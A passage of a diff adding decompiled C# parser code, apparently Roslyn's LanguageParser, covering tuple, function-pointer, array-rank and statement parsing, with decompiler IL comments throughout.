Unknown result type (might be due to invalid IL or missing references) + //IL_007e: Unknown result type (might be due to invalid IL or missing references) + sawNonOmittedSize = false; + bool flag = false; + SyntaxToken openBracket = EatToken(SyntaxKind.OpenBracketToken); + SeparatedSyntaxListBuilder list = _pool.AllocateSeparated(); + OmittedArraySizeExpressionSyntax omittedArraySizeExpressionSyntax = _syntaxFactory.OmittedArraySizeExpression(SyntaxFactory.Token(SyntaxKind.OmittedArraySizeExpressionToken)); + int lastTokenPosition = -1; + while (IsMakingProgress(ref lastTokenPosition) && base.CurrentToken.Kind != SyntaxKind.CloseBracketToken) + { + if (base.CurrentToken.Kind == SyntaxKind.CommaToken) + { + flag = true; + list.Add((ExpressionSyntax)omittedArraySizeExpressionSyntax); + list.AddSeparator((GreenNode)(object)EatToken()); + } + else if (IsPossibleExpression()) + { + ExpressionSyntax expressionSyntax = ParseExpressionCore(); + sawNonOmittedSize = true; + list.Add(expressionSyntax); + if (base.CurrentToken.Kind != SyntaxKind.CloseBracketToken) + { + list.AddSeparator((GreenNode)(object)EatToken(SyntaxKind.CommaToken)); + } + } + else if (SkipBadArrayRankSpecifierTokens(ref openBracket, list, SyntaxKind.CommaToken) == PostSkipAction.Abort) + { + break; + } + } + if ((list.Count & 1) == 0) + { + flag = true; + list.Add((ExpressionSyntax)omittedArraySizeExpressionSyntax); + } + if (flag & sawNonOmittedSize) + { + for (int i = 0; i < list.Count; i++) + { + if (list[i].RawKind == 8654) + { + int width = list[i].Width; + int leadingTriviaWidth = list[i].GetLeadingTriviaWidth(); + list[i] = (GreenNode)(object)AddError(CreateMissingIdentifierName(), leadingTriviaWidth, width, ErrorCode.ERR_ValueExpected); + } + } + } + return _syntaxFactory.ArrayRankSpecifier(openBracket, _pool.ToListAndFree(ref list), EatToken(SyntaxKind.CloseBracketToken)); + } + + private TupleTypeSyntax ParseTupleType() + { + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0017: Unknown result type (might be due to invalid IL or missing references) + //IL_0032: Unknown result type (might be due to invalid IL or missing references) + //IL_00e1: Unknown result type (might be due to invalid IL or missing references) + //IL_00cc: Unknown result type (might be due to invalid IL or missing references) + //IL_0094: Unknown result type (might be due to invalid IL or missing references) + //IL_0054: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken openParenToken = EatToken(SyntaxKind.OpenParenToken); + SeparatedSyntaxListBuilder val = _pool.AllocateSeparated(); + if (base.CurrentToken.Kind != SyntaxKind.CloseParenToken) + { + val.Add(ParseTupleElement()); + while (base.CurrentToken.Kind == SyntaxKind.CommaToken) + { + val.AddSeparator((GreenNode)(object)EatToken(SyntaxKind.CommaToken)); + val.Add(ParseTupleElement()); + } + } + if (val.Count < 2) + { + if (val.Count < 1) + { + val.Add(_syntaxFactory.TupleElement(CreateMissingIdentifierName(), null)); + } + val.AddSeparator((GreenNode)(object)SyntaxFactory.MissingToken(SyntaxKind.CommaToken)); + IdentifierNameSyntax type = AddError(CreateMissingIdentifierName(), ErrorCode.ERR_TupleTooFewElements); + val.Add(_syntaxFactory.TupleElement(type, null)); + } + return _syntaxFactory.TupleType(openParenToken, _pool.ToListAndFree(ref val), EatToken(SyntaxKind.CloseParenToken)); + } + + private TupleElementSyntax ParseTupleElement() + { + return _syntaxFactory.TupleElement(ParseType(), IsTrueIdentifier() ? ParseIdentifierToken() : null); + } + + private PostSkipAction SkipBadArrayRankSpecifierTokens(ref SyntaxToken openBracket, SeparatedSyntaxListBuilder list, SyntaxKind expected) + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return SkipBadSeparatedListTokensWithExpectedKind(ref openBracket, list, (LanguageParser p) => p.CurrentToken.Kind != SyntaxKind.CommaToken && !p.IsPossibleExpression(), (LanguageParser p, SyntaxKind _) => p.CurrentToken.Kind == SyntaxKind.CloseBracketToken, expected); + } + + private TypeSyntax ParseUnderlyingType(ParseTypeMode mode, NameOptions options = NameOptions.None) + { + if (IsPredefinedType(base.CurrentToken.Kind)) + { + SyntaxToken syntaxToken = EatToken(); + if (syntaxToken.Kind == SyntaxKind.VoidKeyword && base.CurrentToken.Kind != SyntaxKind.AsteriskToken) + { + syntaxToken = AddError(syntaxToken, (mode == ParseTypeMode.Parameter) ? ErrorCode.ERR_NoVoidParameter : ErrorCode.ERR_NoVoidHere); + } + return _syntaxFactory.PredefinedType(syntaxToken); + } + if (IsTrueIdentifier() || base.CurrentToken.Kind == SyntaxKind.ColonColonToken) + { + return ParseQualifiedName(options); + } + if (base.CurrentToken.Kind == SyntaxKind.OpenParenToken) + { + return ParseTupleType(); + } + if (IsFunctionPointerStart()) + { + return ParseFunctionPointerTypeSyntax(); + } + return AddError(CreateMissingIdentifierName(), (mode == ParseTypeMode.NewExpression) ? ErrorCode.ERR_BadNewExpr : ErrorCode.ERR_TypeExpected); + } + + private FunctionPointerTypeSyntax ParseFunctionPointerTypeSyntax() + { + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0061: Unknown result type (might be due to invalid IL or missing references) + //IL_0065: Unknown result type (might be due to invalid IL or missing references) + //IL_006b: Unknown result type (might be due to invalid IL or missing references) + //IL_006f: Unknown result type (might be due to invalid IL or missing references) + //IL_0075: Unknown result type (might be due to invalid IL or missing references) + //IL_0088: Unknown result type (might be due to invalid IL or missing references) + //IL_009b: Unknown result type (might be due to invalid IL or missing references) + //IL_00ff: Unknown result type (might be due to invalid IL or missing references) + //IL_0104: Unknown result type (might be due to invalid IL or missing references) + //IL_010c: Unknown result type (might be due to invalid IL or missing references) + //IL_0111: Unknown result type (might be due to invalid IL or missing references) + //IL_0114: Unknown result type (might be due to invalid IL or missing references) + //IL_0125: Unknown result type (might be due to invalid IL or missing references) + //IL_012b: Unknown result type (might be due to invalid IL or missing references) + //IL_0133: Unknown result type (might be due to invalid IL or missing references) + //IL_013a: Unknown result type (might be due to invalid IL or missing references) + //IL_014a: Unknown result type (might be due to invalid IL or missing references) + //IL_0151: Unknown result type (might be due to invalid IL or missing references) + //IL_017b: Unknown result type (might be due to invalid IL or missing references) + SyntaxToken delegateKeyword = EatToken(SyntaxKind.DelegateKeyword); + SyntaxToken asteriskToken = EatToken(SyntaxKind.AsteriskToken); + FunctionPointerCallingConventionSyntax callingConvention = parseCallingConvention(); + if (!IsPossibleFunctionPointerParameterListStart(base.CurrentToken)) + { + SyntaxToken lessThanToken = WithAdditionalDiagnostics(SyntaxFactory.MissingToken(SyntaxKind.LessThanToken), GetExpectedTokenError(SyntaxKind.LessThanToken, SyntaxKind.None)); + SeparatedSyntaxListBuilder val = _pool.AllocateSeparated(); + FunctionPointerParameterSyntax functionPointerParameterSyntax = SyntaxFactory.FunctionPointerParameter(default(SyntaxList), default(SyntaxList), CreateMissingIdentifierName()); + val.Add(functionPointerParameterSyntax); + return SyntaxFactory.FunctionPointerType(delegateKeyword, asteriskToken, callingConvention, SyntaxFactory.FunctionPointerParameterList(lessThanToken, _pool.ToListAndFree(ref val), TryEatToken(SyntaxKind.GreaterThanToken) ?? SyntaxFactory.MissingToken(SyntaxKind.GreaterThanToken))); + } + SyntaxToken syntaxToken = EatTokenAsKind(SyntaxKind.LessThanToken); + TerminatorState termState = _termState; + _termState |= (TerminatorState)(((GreenNode)syntaxToken).IsMissing ? 16777216 : 8388608); + SeparatedSyntaxListBuilder list = _pool.AllocateSeparated(); + try + { + while (true) + { + SyntaxListBuilder val2 = _pool.Allocate(); + ParseParameterModifiers(SyntaxListBuilder.op_Implicit(val2), isFunctionPointerParameter: true); + list.Add(SyntaxFactory.FunctionPointerParameter(default(SyntaxList), _pool.ToTokenListAndFree(SyntaxListBuilder.op_Implicit(val2)), ParseTypeOrVoid())); + if (skipBadFunctionPointerTokens(list) == PostSkipAction.Abort) + { + break; + } + list.AddSeparator((GreenNode)(object)EatToken(SyntaxKind.CommaToken)); + } + return SyntaxFactory.FunctionPointerType(delegateKeyword, asteriskToken, callingConvention, SyntaxFactory.FunctionPointerParameterList(syntaxToken, _pool.ToListAndFree(ref list), (((GreenNode)syntaxToken).IsMissing && base.CurrentToken.Kind == SyntaxKind.CloseParenToken) ? EatTokenAsKind(SyntaxKind.GreaterThanToken) : EatToken(SyntaxKind.GreaterThanToken))); + } + finally + { + _termState = termState; + } + FunctionPointerCallingConventionSyntax? parseCallingConvention() + { + //IL_00ac: Unknown result type (might be due to invalid IL or missing references) + //IL_00b1: Unknown result type (might be due to invalid IL or missing references) + //IL_00df: Unknown result type (might be due to invalid IL or missing references) + //IL_00e6: Unknown result type (might be due to invalid IL or missing references) + //IL_011b: Unknown result type (might be due to invalid IL or missing references) + if (base.CurrentToken.Kind != SyntaxKind.IdentifierToken) + { + return null; + } + SyntaxToken syntaxToken2 = PeekToken(1); + SyntaxToken currentToken = base.CurrentToken; + SyntaxToken syntaxToken3; + if (currentToken != null) + { + SyntaxKind contextualKind = currentToken.ContextualKind; + if (contextualKind - 8445 <= SyntaxKind.List) + { + syntaxToken3 = EatContextualToken(base.CurrentToken.ContextualKind); + goto IL_0082; + } + } + if (IsPossibleFunctionPointerParameterListStart(syntaxToken2)) + { + syntaxToken3 = EatTokenAsKind(SyntaxKind.ManagedKeyword); + } + else + { + if (syntaxToken2.Kind != SyntaxKind.OpenBracketToken) + { + return null; + } + syntaxToken3 = EatTokenAsKind(SyntaxKind.UnmanagedKeyword); + } + goto IL_0082; + IL_0082: + FunctionPointerUnmanagedCallingConventionListSyntax functionPointerUnmanagedCallingConventionListSyntax = null; + if (base.CurrentToken.Kind == SyntaxKind.OpenBracketToken) + { + SyntaxToken openBracketToken = EatToken(SyntaxKind.OpenBracketToken); + SeparatedSyntaxListBuilder list2 = _pool.AllocateSeparated(); + TerminatorState termState2 = _termState; + _termState |= TerminatorState.IsEndOfFunctionPointerCallingConvention; + try + { + while (true) + { + list2.Add(SyntaxFactory.FunctionPointerUnmanagedCallingConvention(EatToken(SyntaxKind.IdentifierToken))); + if (skipBadFunctionPointerTokens(list2) == PostSkipAction.Abort) + { + break; + } + list2.AddSeparator((GreenNode)(object)EatToken(SyntaxKind.CommaToken)); + } + SyntaxToken closeBracketToken = EatToken(SyntaxKind.CloseBracketToken); + functionPointerUnmanagedCallingConventionListSyntax = SyntaxFactory.FunctionPointerUnmanagedCallingConventionList(openBracketToken, _pool.ToListAndFree(ref list2), closeBracketToken); + } + finally + { + _termState = termState2; + } + } + if (syntaxToken3.Kind == SyntaxKind.ManagedKeyword && functionPointerUnmanagedCallingConventionListSyntax != null) + { + functionPointerUnmanagedCallingConventionListSyntax = AddError(functionPointerUnmanagedCallingConventionListSyntax, ErrorCode.ERR_CannotSpecifyManagedWithUnmanagedSpecifiers); + } + return SyntaxFactory.FunctionPointerCallingConvention(syntaxToken3, functionPointerUnmanagedCallingConventionListSyntax); + } + PostSkipAction skipBadFunctionPointerTokens(SeparatedSyntaxListBuilder list2) where T : CSharpSyntaxNode + { + //IL_0005: Unknown result type (might be due to invalid IL or missing references) + CSharpSyntaxNode startToken = null; + return SkipBadSeparatedListTokensWithExpectedKind(ref startToken, list2, (LanguageParser p) => p.CurrentToken.Kind != SyntaxKind.CommaToken, (LanguageParser p, SyntaxKind _) => false, SyntaxKind.CommaToken); + } + } + + private bool IsFunctionPointerStart() + { + if (base.CurrentToken.Kind == SyntaxKind.DelegateKeyword) + { + return PeekToken(1).Kind == SyntaxKind.AsteriskToken; + } + return false; + } + + private static bool IsPossibleFunctionPointerParameterListStart(SyntaxToken token) + { + if (token.Kind != SyntaxKind.LessThanToken) + { + return token.Kind == SyntaxKind.OpenParenToken; + } + return true; + } + + private TypeSyntax ParsePointerTypeMods(TypeSyntax type) + { + while (base.CurrentToken.Kind == SyntaxKind.AsteriskToken) + { + type = _syntaxFactory.PointerType(type, EatToken()); + } + return type; + } + + public StatementSyntax ParseStatement() + { + return ParseWithStackGuard((LanguageParser @this) => @this.ParsePossiblyAttributedStatement() ?? @this.ParseExpressionStatement(default(SyntaxList)), (LanguageParser @this) => SyntaxFactory.EmptyStatement(default(SyntaxList), SyntaxFactory.MissingToken(SyntaxKind.SemicolonToken))); + } + + private StatementSyntax ParsePossiblyAttributedStatement() + { + //IL_0002: Unknown result type (might be due to invalid IL or missing references) + return ParseStatementCore(ParseStatementAttributeDeclarations(), isGlobal: false); + } + + private SyntaxList ParseStatementAttributeDeclarations() + { + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + //IL_001a: Unknown result type (might be due to invalid IL or missing references) + //IL_0166: Unknown result type (might be due to invalid IL or missing references) + //IL_016c: Unknown result type (might be due to invalid IL or missing references) + //IL_015d: Unknown result type (might be due to invalid IL or missing references) + if (base.CurrentToken.Kind != SyntaxKind.OpenBracketToken) + { + return default(SyntaxList); + } + ResetPoint state = GetResetPoint(); + ParseCollectionExpression(); + bool flag = false; + while (base.CurrentToken.Kind == SyntaxKind.OpenBracketToken) + { + ParseBracketedArgumentList(); + flag = true; + } + bool flag2; + switch (base.CurrentToken.Kind) + { + case SyntaxKind.ExclamationToken: + case SyntaxKind.DotToken: + case SyntaxKind.QuestionToken: + case SyntaxKind.MinusMinusToken: + case SyntaxKind.PlusPlusToken: + case SyntaxKind.MinusGreaterThanToken: + flag2 = true; + break; + default: + flag2 = false; + break; + } + flag2 = flag2 || IsExpectedBinaryOperator(base.CurrentToken.Kind) || IsExpectedAssignmentOperator(base.CurrentToken.Kind) || base.CurrentToken.Kind == SyntaxKind.DotDotToken; + if (!flag2) + { + SyntaxKind contextualKind = base.CurrentToken.ContextualKind; + bool flag3 = ((contextualKind == SyntaxKind.SwitchKeyword || contextualKind == SyntaxKind.WithKeyword) ? true : false); + flag2 = flag3 && PeekToken(1).Kind == SyntaxKind.OpenBraceToken; + } + bool flag4 = flag2; + if (!flag4 && flag && base.CurrentToken.Kind == SyntaxKind.OpenParenToken) + { + flag4 = ContainsErrorDiagnostic((GreenNode)(object)ParseReturnType()) || !IsTrueIdentifier(); + } + Reset(ref state); + _003F result = (flag4 ? default(SyntaxList) : ParseAttributeDeclarations(inExpressionContext: true)); + Release(ref state); + return (SyntaxList)result; + } + + private StatementSyntax ParseStatementCore(SyntaxList attributes, bool isGlobal) + { + //IL_0001: Unknown result type (might be due to invalid IL or missing references) + //IL_0202: Unknown result type (might be due to invalid IL or missing references) + //IL_01df: Unknown result type (might be due to invalid IL or missing references) + //IL_01ee: Unknown result type (might be due to invalid IL or missing references) + //IL_0211: Unknown result type (might be due to invalid IL or missing references) + //IL_0231: Unknown result type (might be due to invalid IL or missing references) + //IL_0221: Unknown result type (might be due to invalid IL or missing references) + //IL_0152: Unknown result type (might be due to invalid IL or missing references) + //IL_0194: Unknown result type (might be due to invalid IL or missing references) + //IL_01a1: Unknown result type (might be due to invalid IL or missing references) + //IL_01f8: Unknown result type (might be due to invalid IL or missing references) + //IL_016c: Unknown result type (might be due to invalid IL or missing references) + //IL_0179: Unknown result type (might be due to invalid IL or missing references) + //IL_015f: Unknown result type (might be due to invalid IL or missing references) + //IL_01c8: Unknown result type (might be due to invalid IL or missing references) + //IL_0145: Unknown result type (might be due to invalid IL or missing references) + //IL_01ae: Unknown result type (might be due to invalid IL or missing references) + //IL_0187: Unknown result type (might be due to invalid IL or missing references) + //IL_012b: Unknown result type (might be due to invalid IL or missing references) + //IL_0138: Unknown result type (might be due to invalid IL or missing references) + //IL_01bb: Unknown result type (might be due to invalid IL or missing references) + //IL_01d5: Unknown result type (might be due to invalid IL or missing references) + //IL_011e: Unknown result type (might be due to invalid IL or missing references) + if (canReuseStatement(attributes, isGlobal)) + { + return (StatementSyntax)(object)EatNode(); + } + ResetPoint resetPointBeforeStatement = GetResetPoint(); + try + { + _recursionDepth++; + StackGuard.EnsureSufficientExecutionStack(_recursionDepth); + switch (base.CurrentToken.Kind) + { + case SyntaxKind.FixedKeyword: + return ParseFixedStatement(attributes); + case SyntaxKind.BreakKeyword: + return ParseBreakStatement(attributes); + case SyntaxKind.ContinueKeyword: + return ParseContinueStatement(attributes); + case SyntaxKind.TryKeyword: + case SyntaxKind.CatchKeyword: + case SyntaxKind.FinallyKeyword: + return ParseTryStatement(attributes); + case SyntaxKind.CheckedKeyword: + case SyntaxKind.UncheckedKeyword: + return ParseCheckedStatement(attributes); + case SyntaxKind.DoKeyword: + return ParseDoStatement(attributes); + case SyntaxKind.ForKeyword: + return ParseForOrForEachStatement(attributes); + case SyntaxKind.ForEachKeyword: + return ParseForEachStatement(attributes, null); + case SyntaxKind.GotoKeyword: + return ParseGotoStatement(attributes); + case SyntaxKind.IfKeyword: + return ParseIfStatement(attributes); + case SyntaxKind.ElseKeyword: + return ParseMisplacedElse(attributes); + case SyntaxKind.LockKeyword: + return ParseLockStatement(attributes); + case SyntaxKind.ReturnKeyword: + return ParseReturnStatement(attributes); + case SyntaxKind.SwitchKeyword: + case SyntaxKind.CaseKeyword: + return ParseSwitchStatement(attributes); + case SyntaxKind.ThrowKeyword: + return ParseThrowStatement(attributes); + case SyntaxKind.UnsafeKeyword: + { + StatementSyntax statementSyntax = TryParseStatementStartingWithUnsafe(attributes); + if (statementSyntax != null) + { + return statementSyntax; + } + break; + } + case SyntaxKind.UsingKeyword: + return ParseStatementStartingWithUsing(attributes); + case SyntaxKind.WhileKeyword: + return ParseWhileStatement(attributes); + case SyntaxKind.OpenBraceToken: + return ParseBlock(attributes); + case SyntaxKind.SemicolonToken: + return _syntaxFactory.EmptyStatement(attributes, EatToken()); + case SyntaxKind.IdentifierToken: + { + StatementSyntax statementSyntax = TryParseStatementStartingWithIdentifier(attributes, isGlobal); + if (statementSyntax != null) + { + return statementSyntax; + } + break; + } + } + return ParseStatementCoreRest(attributes, isGlobal, ref resetPointBeforeStatement); + } + finally + { + _recursionDepth--; + Release(ref resetPointBeforeStatement); + } + bool canReuseStatement(SyntaxList val, bool flag) + { + if (IsIncrementalAndFactoryContextMatches && base.CurrentNode is Microsoft.CodeAnalysis.CSharp.Syntax.StatementSyntax && !flag) + { + return val.Count == 0; + } + return false; + } + } + + private StatementSyntax ParseStatementCoreRest(SyntaxList attributes, bool isGlobal, ref ResetPoint resetPointBeforeStatement) + { + //IL_0018: Unknown result type (might be due to invalid IL or missing references) + //IL_0038: Unknown result type (might be due to invalid IL or missing references) + //IL_006c: Unknown result type (might be due to invalid IL or missing references) + isGlobal = isGlobal && base.IsScript; + if (!IsPossibleLocalDeclarationStatement(isGlobal)) + { + return ParseExpressionStatement(attributes); + } + if (isGlobal) + { + return null; + } + bool flag = base.CurrentToken.ContextualKind == SyntaxKind.AwaitKeyword; + StatementSyntax statementSyntax = ParseLocalDeclarationStatement(attributes); + if (statementSyntax == null) + { + Reset(ref resetPointBeforeStatement); + return null; + } + if (((GreenNode)statementSyntax).ContainsDiagnostics && flag && !IsInAsync) + { + Reset(ref resetPointBeforeStatement); + IsInAsync = true; + statementSyntax = ParseExpressionStatement(attributes); + IsInAsync = false; + } + return statementSyntax; + } + + private StatementSyntax TryParseStatementStartingWithIdentifier(SyntaxList attributes, bool isGlobal) + { + //IL_0026: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0055: Unknown result type (might be due to invalid IL or missing references) + //IL_0081: Unknown result type (might be due to invalid IL or missing references) + //IL_0091: Unknown result type (might be due to invalid IL or missing references) + //IL_00ae: Unknown result type (might be due to invalid IL or missing references) + if (base.CurrentToken.ContextualKind == SyntaxKind.AwaitKeyword && PeekToken(1).Kind == SyntaxKind.ForEachKeyword) + { + return ParseForEachStatement(attributes, EatContextualToken(SyntaxKind.AwaitKeyword)); + } + if (IsPossibleAwaitUsing()) + { + if (PeekToken(2).Kind == SyntaxKind.OpenParenToken) + { + return ParseUsingStatement(attributes, EatContextualToken(SyntaxKind.AwaitKeyword)); + } + } + else + { + if (IsPossibleLabeledStatement()) + { + return ParseLabeledStatement(attributes); + } + if (IsPossibleYieldStatement()) + { + return ParseYieldStatement(attributes); + } + if (IsPossibleAwaitExpressionStatement()) + { + return ParseExpressionStatement(attributes); + } + if (IsQueryExpression(mayBeVariableDeclaration: true, isGlobal && base.IsScript)) + { + return ParseExpressionStatement(attributes, ParseQueryExpression(Precedence.Expression)); + } + } + return null; + } + + private StatementSyntax ParseStatementStartingWithUsing(SyntaxList attributes) + { + //IL_001c: Unknown result type (might be due to invalid IL or missing references) + //IL_0014: Unknown result type (might be due to invalid IL or missing references) + if (PeekToken(1).Kind != SyntaxKind.OpenParenToken) + { + return ParseLocalDeclarationStatement(attributes); + } + return ParseUsingStatement(attributes); + } + + private StatementSyntax TryParseStatementStartingWithUnsafe(SyntaxList attributes) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + if (!IsPossibleUnsafeStatement()) + { + return null; + } + return ParseUnsafeStatement(attributes); + } + + private bool IsPossibleAwaitUsing() + { + if (base.CurrentToken.ContextualKind == SyntaxKind.AwaitKeyword) + { + return PeekToken(1).Kind == SyntaxKind.UsingKeyword; + } + return false; + } + + private bool IsPossibleLabeledStatement() + { + if (PeekToken(1).Kind == SyntaxKind.ColonToken) + { + return IsTrueIdentifier(); + } + return false; + } + + private bool IsPossibleUnsafeStatement() + { + return PeekToken(1).Kind == SyntaxKind.OpenBraceToken; + } + + private bool IsPossibleYieldStatement() + { + bool flag = base.CurrentToken.ContextualKind == SyntaxKind.YieldKeyword; + if (flag) + { + SyntaxKind kind = PeekToken(1).Kind; + bool flag2 = ((kind == SyntaxKind.BreakKeyword || kind == SyntaxKind.ReturnKeyword) ? true : false); + flag = flag2; + } + return flag; + } + + private bool IsPossibleLocalDeclarationStatement(bool isGlobalScriptLevel) + { + SyntaxKind kind = base.CurrentToken.Kind; + if (kind != SyntaxKind.RefKeyword && !IsDeclarationModifier(kind)) + { + if (SyntaxFacts.IsPredefinedType(kind)) + { + SyntaxKind kind2 = PeekToken(1).Kind; + if (kind2 != SyntaxKind.DotToken && kind2 != SyntaxKind.OpenParenToken) + { + goto IL_0041; + } + } + if (kind == SyntaxKind.UsingKeyword) + { + return true; + } + if (IsPossibleAwaitUsing()) + { + return true; + } + if (IsPossibleScopedKeyword(isFunctionPointerParameter: false)) + { + return true; + } + kind = base.CurrentToken.ContextualKind; + bool flag = IsAdditionalLocalFunctionModifier(kind); + if (flag) + { + bool flag2 = ((kind == SyntaxKind.AsyncKeyword || kind == SyntaxKind.ScopedKeyword) ? true : false); + flag = !flag2 || ShouldContextualKeywordBeTreatedAsModifier(parsingStatementNotDeclaration: true); + } + if (flag) + { + return true; + } + return IsPossibleFirstTypedIdentifierInLocaDeclarationStatement(isGlobalScriptLevel); + } + goto IL_0041; + IL_0041: + return true; + } + + private bool IsPossibleScopedKeyword(bool isFunctionPointerParameter) + { + using (GetDisposableResetPoint(resetOnDispose: true)) + { + return ParsePossibleScopedKeyword(isFunctionPointerParameter) != null; + } + } + + private bool IsPossibleFirstTypedIdentifierInLocaDeclarationStatement(bool isGlobalScriptLevel) + { + //IL_0051: Unknown result type (might be due to invalid IL or missing references) + //IL_0056: Unknown result type (might be due to invalid IL or missing references) + bool? flag = IsPossibleTypedIdentifierStart(base.CurrentToken, PeekToken(1), allowThisKeyword: false); + if (flag.HasValue) + { + return flag.Value; + } + if (base.CurrentToken.ContextualKind == SyntaxKind.IdentifierToken) + { + SyntaxToken syntaxToken = PeekToken(1); + if (syntaxToken.Kind == SyntaxKind.DotToken && syntaxToken.TrailingTrivia.Any(8539) && PeekToken(2).Kind == SyntaxKind.IdentifierToken && PeekToken(3).Kind == SyntaxKind.IdentifierToken) + { + SyntaxKind kind = PeekToken(4).Kind; + if (kind != SyntaxKind.SemicolonToken && kind != SyntaxKind.EqualsToken && kind != SyntaxKind.CommaToken && kind != SyntaxKind.OpenParenToken && kind != SyntaxKind.LessThanToken) + { + return false; + } + } + } + using (GetDisposableResetPoint(resetOnDispose: true)) + { + ScanTypeFlags scanTypeFlags = ScanType(); + if (scanTypeFlags == ScanTypeFlags.MustBeType) + { + SyntaxKind kind2 = base.CurrentToken.Kind; + if (kind2 != SyntaxKind.DotToken && kind2 != SyntaxKind.OpenParenToken) + { + return true; + } + } + if (scanTypeFlags == ScanTypeFlags.NotType || base.CurrentToken.Kind != SyntaxKind.IdentifierToken) + { + return false; + } + if (isGlobalScriptLevel) + { + switch (scanTypeFlags) + { + case ScanTypeFlags.PointerOrMultiplication: + return false; + case ScanTypeFlags.NullableType: + return IsPossibleDeclarationStatementFollowingNullableType(isGlobalScriptLevel); + } + } + return true; + } + } + + private bool IsPossibleTopLevelUsingLocalDeclarationStatement() + { + if (base.CurrentToken.Kind != SyntaxKind.UsingKeyword) + { + return false; + } + SyntaxKind kind = PeekToken(1).Kind; + if (kind == SyntaxKind.RefKeyword) + { + return true; + } + if (IsDeclarationModifier(kind)) + { + if (kind != SyntaxKind.StaticKeyword) + { + return true; + } + } + else if (SyntaxFacts.IsPredefinedType(kind)) + { + return true; + } + using (GetDisposableResetPoint(resetOnDispose: true)) + { + EatToken(); + if (IsPossibleScopedKeyword(isFunctionPointerParameter: false)) + { + return true; + } + if (kind == SyntaxKind.StaticKeyword) + { + EatToken(); + } + return IsPossibleFirstTypedIdentifierInLocaDeclarationStatement(isGlobalScriptLevel: false); + } + } + + private bool IsPossibleDeclarationStatementFollowingNullableType(bool isGlobalScriptLevel) + { + if (IsFieldDeclaration(isEvent: false, isGlobalScriptLevel)) + { + return IsPossibleFieldDeclarationFollowingNullableType(); + } + ParseMemberName(out var explicitInterfaceOpt, out var identifierOrThisOpt, out var typeParameterListOpt, isEvent: false); + if (explicitInterfaceOpt == null && identifierOrThisOpt == null && typeParameterListOpt == null) + { + return false; + } + if (base.CurrentToken.Kind == SyntaxKind.OpenBraceToken) + { + return true; + } + if (identifierOrThisOpt.Kind == SyntaxKind.ThisKeyword) + { + return false; + } + return IsPossibleMethodDeclarationFollowingNullableType(); + } + + private bool IsPossibleFieldDeclarationFollowingNullableType() + { + if (base.CurrentToken.Kind != SyntaxKind.IdentifierToken) + { + return false; + } + EatToken(); + if (base.CurrentToken.Kind == SyntaxKind.EqualsToken) + { + TerminatorState termState = _termState; + _termState |= TerminatorState.IsEndOfFieldDeclaration; + EatToken(); + ParseVariableInitializer(); + _termState = termState; + } + SyntaxKind kind = base.CurrentToken.Kind; + if (kind == SyntaxKind.SemicolonToken || kind == SyntaxKind.CommaToken) + { + return true; + } + return false; + } + + private bool IsPossibleMethodDeclarationFollowingNullableType() + { + //IL_0028: Unknown result type (might be due to invalid IL or missing references) + //IL_002d: Unknown result type (might be due to invalid IL or missing references) + //IL_0031: Unknown result type (might be due to invalid IL or missing references) + //IL_0036: Unknown result type (might be due to invalid IL or missing references) + //IL_0098: Unknown result type (might be due to invalid IL or missing references) + //IL_009d: Unknown result type (might be due to invalid IL or missing references) + //IL_00d8: Unknown result type (might be due to invalid IL or missing references) + //IL_00dd: Unknown result type (might be due to invalid IL or missing references) + //IL_00b1: Unknown result type (might be due to invalid IL or missing references) + //IL_00b6: Unknown result type (might be due to invalid IL or missing references) + //IL_011a: Unknown result type (might be due to invalid IL or missing references) + //IL_011f: Unknown result type (might be due to invalid IL or missing references) + TerminatorState termState = _termState; + _termState |= TerminatorState.IsEndOfMethodSignature; + ParameterListSyntax parameterListSyntax = ParseParenthesizedParameterList(); + _termState = termState; + SyntaxList withSeparators = parameterListSyntax.Parameters.GetWithSeparators(); + if (!((GreenNode)parameterListSyntax.CloseParenToken).IsMissing) + { + if (base.CurrentToken.Kind == SyntaxKind.OpenBraceToken || base.CurrentToken.ContextualKind == SyntaxKind.WhereKeyword) + { + return true; + } + if (base.CurrentToken.Kind == SyntaxKind.ColonToken) + { + return false; + } + } + if (withSeparators.Count == 0) + { + return false; + } + ParameterSyntax parameterSyntax = (ParameterSyntax)(object)withSeparators[0]; + if (parameterSyntax.AttributeLists.Count > 0) + { + return true; + } + for (int i = 0; i < parameterSyntax.Modifiers.Count; i++) + { + if (parameterSyntax.Modifiers[i].Kind == SyntaxKind.ParamsKeyword) + { + return true; + } + } + if (parameterSyntax.Type == null) + { + if (parameterSyntax.Identifier.Kind == SyntaxKind.ArgListKeyword) + { + return true; + } + } + else if (parameterSyntax.Type.Kind == SyntaxKind.NullableType) + { + if (parameterSyntax.Modifiers.Count > 0) + { + return true; + } + if (!((GreenNode)parameterSyntax.Identifier).IsMissing && ((withSeparators.Count >= 2 && !withSeparators[1].IsMissing) || (withSeparators.Count == 1 && !((GreenNode)parameterListSyntax.CloseParenToken).IsMissing))) + { + return true; + } + } + else + { + if (parameterSyntax.Type.Kind == SyntaxKind.IdentifierName && ((IdentifierNameSyntax)parameterSyntax.Type).Identifier.ContextualKind == SyntaxKind.FromKeyword) + { + return false; + } + if (!((GreenNode)parameterSyntax.Identifier).IsMissing) + { + return true; + } + } + return false; + } + + private bool IsPossibleNewExpression() + { + SyntaxToken syntaxToken = PeekToken(1); + SyntaxKind kind = syntaxToken.Kind; + if (kind == SyntaxKind.OpenBraceToken || kind == SyntaxKind.OpenBracketToken) + { + return true; + } + if (SyntaxFacts.GetBaseTypeDeclarationKind(syntaxToken.Kind) != SyntaxKind.None) + { + return false; + } + switch (GetModifierExcludingScoped(syntaxToken)) + { + case DeclarationModifiers.Partial: + if (SyntaxFacts.IsPredefinedType(PeekToken(2).Kind)) + { + return false; + } + if (IsTypeModifierOrTypeKeyword(PeekToken(2).Kind)) + { + return false; + } + break; + default: + return false; + case DeclarationModifiers.None: + break; + } + bool? flag = IsPossibleTypedIdentifierStart(syntaxToken, PeekToken(2), allowThisKeyword: true); + if (flag.HasValue) + { + return !flag.Value; + } + using (GetDisposableResetPoint(resetOnDispose: true)) + { + EatToken(); + ScanTypeFlags scanTypeFlags = ScanType(); + return !IsPossibleMemberName() || scanTypeFlags == ScanTypeFlags.NotType; + } + } + + private bool? 